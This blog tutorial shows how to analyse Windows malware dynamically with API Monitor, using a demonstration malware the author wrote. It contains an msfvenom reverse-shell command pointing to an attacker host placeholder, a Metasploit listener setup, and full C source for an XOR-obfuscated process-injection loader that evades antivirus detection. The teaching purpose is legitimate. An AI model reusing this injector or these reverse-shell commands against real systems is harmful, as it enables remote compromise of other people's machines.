This blog post aims to show how you can dynamically analyse Windows malwares using API Monitor.

One of the great benefits is that you can take a look at each API calls. You can even breakpoint on them, and edit the value before and after the call.

Custom malware

For learning purpose, we will write a basic Windows malware which will:

  • Check the presence of a hardcoded registry key. If not present, the execution is stopped.
  • Read an encrypted shellcode file, and decrypt it (using a simple XOR encryption).
  • Inject the shellcode into a remote process.

Nothing really fancy and realistic, it’s just for demonstration purpose!

The source code is avaible in the Sources section, and here is a truncated output example targeting notepad.exe with PID 11816:

[+] Key exists! Proceeding execution...
[+] Got HANDLE on encrypted config file.
[+] 460 bytes reads from file.
---------
41 F5 3E 59 4D 55 7D BD BD BD FC EC FC ED EF EC [...]
[+] Decrypting ...
---------
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 [...] D5
[+] Please enter the target process PID:
> 11816

[+] Injecting shellcode into remote process with PID 11816...
[+] Press <ANY KEY> to run the payload...

After a few seconds, we have our reverse shell on the attacking machine.

Untitled

Payload generation

We first need to create our shellcode. We can do whatever we want, but for the next examples I will use a simple x64 reverse shell shellcode generated by msfvenom:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=12345 -f raw reverse.bin

You can then encrypt the shellcode, I used cyberchef to do it because it’s pretty simple:

Untitled

Then you can setup your MSF console with the following options:

>> use exploit/multi/handler
>> set payload windows/x64/shell_reverse_tcp
>> set LPORT 12345
>> set LHOST attacker_ip

Initial setup

The initial setup is pretty straightforward. We can just launch the 64 bit version of API Monitor, and check all the API filters:

Untitled

It will be very noisy, but we won’t miss anything in doing so. You can then uncheck some API, or check only the ones that you want if you know what you are looking for (e.g NTApi, processes API, etc.).

After that, we just have to click on Monitor New Process, select our image, and click OK (the static import will be fine):

Untitled

Editing function return value

At first, our malware will stop because it is looking for a registry key that does not exist. If we look for the API call in the list, we can find RegOpenKeyExA with the value it is looking for. We could create it, but instead we will “lie” to the malware. We need to set a breakpoint After Call on the API, and then we just have to launch our malware again.

Untitled

This time, the breakpoint is hit. The return value is an ERROR code indicating that the registry key was not found.

Untitled

We can just replace it by ERROR_SUCCESSand resume the execution.

Untitled

We can confirm that the malware continued its execution because the first launch made 615 API calls, versus 1572+ API calls when we edited the return value:

Untitled

Untitled

Getting the unencrypted shellcode

Now, we want to get the shellcode (remember that it is encrypted). When the malware injects the shellcode into another process, it is the uncencrypted shellcode that is written in memory, so we can just look for a WriteProcessMemory call and check the buffer:

Untitled

And this is what the malware displayed at launch, so we have our shellcode.

FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 [...] D5

If we submit the encrypted shellcode to VT, it is not flagged by any vendor:

Untitled

But the original shellcode, not encrypted (we can save it from the WriteProcessMemory buffer), is flagged as malicious by 19 AV vendors:

Untitled

Victim process identification

If we take a look at the OpenProcess call, used to get a HANDLEon a process, we can see that the process with PID 10008 is the target.

Untitled

We can validate our findings by checking the PID 10008 opened connection with Process Explorer: notepad.exe opening a connection is indeed suspicious.

Untitled

It is possible to ultimately confirm the infection using Process Hacker. If we look for a memory region with RWX protection (highly suspicious, again), then we can see that the memory is the unencrypted shellcode previously injected.

Untitled

Conclusion

The purpose of this post was to introduce API Monitor and some of its features that allow to work in a different way than with “traditional” debuggers. Having an higher point of view on the API calls (parameters value and names, error codes, etc.) can be really useful for every reverse engineering task. Hope it can help!

Sources

API Monitor: http://www.rohitab.com/apimonitor

Cyberchef: https://gchq.github.io/CyberChef/

Metasploit: https://www.metasploit.com/

Malware source code:

#include <windows.h>
#include <stdio.h>

#define BUFFER_SIZE 512
#define XOR_KEY 0xBD
#define CONFIG_FILE_PATH "C:\\reverse.bin"

// Simple XOR encryption using a one byte key
void XorOneByteKey(IN PBYTE pShellCode, IN SIZE_T sSize, IN BYTE bKey) {
	for (size_t i = 0; i < sSize; i++) {
		pShellCode[i] = pShellCode[i] ^ bKey;
	}
}

BOOL InjectShellCode(IN PBYTE pPayload, IN SIZE_T sPayloadLen) {

	PVOID    pAddress = NULL;
	DWORD    dwOldProtection, dwPid = NULL;
	SIZE_T dwBytes = 0;
	HANDLE hThread, hProcess = NULL;

	printf("\n[+] Please enter the target process PID:\n> ");
	scanf_s("%d", &dwPid);
	
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	
	if (hProcess == NULL) {
		printf("[-] OpenProcess failed with error %d \n", GetLastError());
		return FALSE;
	}

	printf("\n[+] Injecting shellcode into remote process with PID %d...\n", dwPid);

	pAddress = VirtualAllocEx(hProcess, NULL, sPayloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	if (pAddress == NULL) {
		printf("[-] VirtualAlloc failed with error: %d \n", GetLastError());
		return FALSE;
	}

	if (!WriteProcessMemory(hProcess, pAddress, pPayload, sPayloadLen, &dwBytes)) {
		printf("[-] WriteProcessMemory failed with error: %d \n", GetLastError());
		return FALSE;
	}

	if (!VirtualProtectEx(hProcess, pAddress, sPayloadLen, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[-] VirtualProtect failed with error %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] Press <ANY KEY> to run payload...\n");

	getchar();

	hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, 0, NULL);

	if (hThread == NULL) {
		printf("[-] CreateRemoteThread failed with error %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

BOOL ReadAndDecryptConfig() {

	HANDLE hFile = NULL;
	BYTE bData[BUFFER_SIZE] = { 0 };
	DWORD dwRead = 0;

	hFile = CreateFileA(CONFIG_FILE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (GetLastError() == ERROR_SUCCESS) {
		printf("[+] Got HANDLE on encrypted config file.\n");

		if (ReadFile(hFile, &bData, BUFFER_SIZE, &dwRead, NULL)) {
			
			printf("[+] %d bytes reads from file.\n--------- \n", dwRead);
			for (int i = 0; i < dwRead; i++) {
				printf("%02X ", bData[i]);
			}
			
			printf("\n[+] Decrypting ...\n--------- \n");
			XorOneByteKey(bData, dwRead, XOR_KEY);
			for (int i = 0; i < dwRead; i++) {
				printf("%02X ", bData[i]);
			}
			
			InjectShellCode(bData, dwRead);
			return TRUE;
		}
		return FALSE;
	}
	return FALSE;
}

int main()
{
	HKEY hKey = NULL;
	LONG lReturn;
	lReturn = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\super_secret_unguessable_value", 0, KEY_READ, &hKey);

	if (lReturn == ERROR_SUCCESS)
	{
		printf("[+] Key exists! Proceeding execution...\n");
		ReadAndDecryptConfig();
		return 0;
	}
	printf("[-] Key does not exists, aborting.");
	return 0;
}